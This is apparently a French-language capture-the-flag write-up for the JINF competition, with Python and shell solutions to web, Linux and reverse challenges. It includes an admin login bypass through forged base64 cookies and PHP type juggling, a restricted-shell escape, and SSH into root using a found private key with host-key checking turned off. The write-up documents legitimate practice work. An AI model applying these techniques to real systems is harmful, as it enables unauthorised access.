# JINF capture the flag writeup
Réalisé sous dans le cadre de la journée de l'etudiant, cette compétition sous format capture the flag regroupait les domaines que sont:
* Web
* Linux
* Reverse
* Cypto
* Forensics
* Miscellaneous
## Web
#### I - Bienvenu Au JINF-CTF
Ce premier challenge de bienvenu présentait une page
L'inspection du fichier de style xss révèle le premier flag. Rien de compliqué!
Flag: **J1NF{W3LC0M3_F0R_J1NF_CTF}**
#### II - Secret
En allant sur le lien indiqué on a une page web avec un paramètre **page** qui permet de d'accéder à la page dont le numero est indiqué.Rapidement j'ai ecrit un script pour faire le boulot à ma place.
```python=3.8
from requests import *
from bs4 import BeautifulSoup
i=1
while 1:
search=get("http://chall.emes.bj:10011/?page={}".format(i)).text
soup = BeautifulSoup(search, 'lxml').text
if "J1NF{" in soup:
print(soup)
break
i+=1
```
Ainsi en exécutant, au bout de 1500 tentatives, le flag est révélé.
Flag: **J1NF{W00pS_Q1lK1_3sT_L4}**
#### III - Cookies
En me réferanciant au titre du challenge, je me concentre directement sur les cookies!
Deux cookies sont envoyés par le serveur
> **cookiez** et **adminpass**
Après trois tentatives de décodage de la valeur de cookiez avec avec base 64 on obtient une valeur json.
L'idée est de tenter de devenir administrateur en changeant guest par admin et à encoder le tout trois fois de suite.
En soumettant la requête avec la nouvelle valeur du cookie nommé cookiez un nouveau message apparait
> Vous vous êtes trompé dans le mot de passe administrateur.
Apres avoir tenté des mots de passe aléatoires au niveau du adminpass sans issue,je me suis rappelé qu'il existait une faiblesse inhérente aux comparaisons en php j'ai donc eu l'idée d'envoyer adminpass comme un tableau vide au serveur ce qui fera NULL == 0 qui est vrai
> **adminpass[] =**
```python=3.8
from requests import *
from base64 import *
from bs4 import BeautifulSoup
cook=b'{"id":"2","type":"admin"}'
for i in range(3):
cook=b64encode(cook)
cook=cook.decode()
search=get("http://chall.emes.bj:12008/",cookies={"cookiez" : cook , "adminpass[]" : ""}).text
soup = BeautifulSoup(search, 'lxml').text
print(soup)
```
Bingoooo! On a notre flag!
Flag: **J1NF{L3S_C00kiessszz_2_IFRI}**
Et oui , je suis un amoureux de python :laughing:
## Linux
#### I - diff32
Une fois que je j'accède au shell via ssh je consulte les fichiers présents via **ls**
Ne pouvant pas les consulter un à un,du moins n'ayant pas ce temps..... :running: , je décide de chercher l'expression **J1NF{** dans l'ensemble des fichiers
Ce que je trouve n'est pas le flag mais un truc m'interpelle immédiatement
> user2:AAE976A5232713355D58584CFE5A5 .On dirait bien un utilisateur et un mot de passe... Je tente de me connecter et bingo je suis désormais user2
Encore des fichers mais contenant pas mal de mot..flemme :angry:
Un autre coup de grep mais rien
Mais me rémomérant le format du flag je m'aperçois qu'il y a presque toujours le underscore je decide de le rechercher et bannnng j'ai le bon.
Le flag est donc **J1NF{th15_15_unu5u41}**
#### II - AKA
Après quelques manipulations je m'appercois de la présence d'un fichier flag.txt mais impossible de le lire :hushed:
Après être tourné en boucle quelques minutes et suite à quelques recherches j'ai trouvé une technique qui a marché.Essayer d'appeler un shell j'ai donc cherché la commande sh qui existait et du coup je l'ai exécuté. Et voilà comment que je me suis sorti de cette prison.
Flag: J1NF{1_4m8_cl4rk3_k3nt}
#### III - Où suis-je?
L'idée est de se connecter via ssh à un utilisateur local depuis le jail.
D'accord mais avec quels identifiants? :dizzy_face:
J'ai donc pensé aux *clés Rsa*.
Une recherche et c'est trouvé.
Il existe bel et bien des clés de connexion dans le repertoire du root
on sait donc à partir de ce moment que le l'utilisateur auquel on tentera de se connecter est le root.
J'essaie dans un premier temps
```bash=
ssh -i id_rsa root@localhost
```
Mais rien! Je tente donc de voir l'erreur.
Host key verification failed.
Il doit bien avoir un moyen de la contourner cette verification.Une recherche google et on l'a.
StrictHostKeyChecking=no voilà la solution
Je retente le coup avec et c'est bon
```bash=
ssh -i /root/.ssh/id_rsa -o StrictHostKeyChecking=no root@localhost
J1NF{n1c3_tH1N9_w0w_5uch_55h}
```
Flag: J1NF{n1c3_tH1N9_w0w_5uch_55h}
## Reverse
#### I - This isn’t a buffer overflow
Un coup de strings sur le binaire révèle le flag...
```bash=
strings vulnCode
.
.
.
.
.
Le flag est J1NF{Y0u_w3re'nt_Ch34ted}
```
#### II - Blaise
Apres avoir désassemblé le programme et essayé de le comprendre, il ressort que le principe est d'entrer des valeurs n valeurs qui seront comparées aux valeurs générées par le programme avec n choisit au hasard au début du programme puis affiché.
J'ai donc tenté de réécrire l'ensemble des fonctions utilisées par programme pour générer les nombres auquels nos entrées seront comparées
Nous avons deux fonctions essentielles, l'une dépendant de l'autre.
```python=3.8
def f(a):
p=1
for i in range(2,a+1):
p=p*i
return int(p)
def c(uno,two):
first=f(uno)
sec=f(two)
trece=f(uno-two)
return int(first/(sec*trece))
```
*c dépend donc de f.*
Partant de là je suis en mesure de générer l'ensemble des nombres à partir du nombre aléatoire envoyé par le programme.
```python=3.8
sup=int(input())
for i in range(0,sup+1):
print(c(sup,i))
```
Je réplique le tt sur le serveur avec ce programme en python et le tt est joué.
```python=3.8
from pwn import *
def f(a):
p=1
for i in range(2,a+1):
p=p*i
return int(p)
def c(uno,two):
first=f(uno)
sec=f(two)
trece=f(uno-two)
return int(first/(sec*trece))
p = remote('chall.emes.bj', 30808)
random=int(p.recv().decode().strip('\n'))
for i in range(0,random+1):
p.sendline(str(c(random,i)).encode())
print(p.recv().decode())
```
On compile et le tout est joué! Oh oui Python est si puissant :yum:
---
---
By Ofsh1ll :eagle:
Sign in with Wallet
Connect another wallet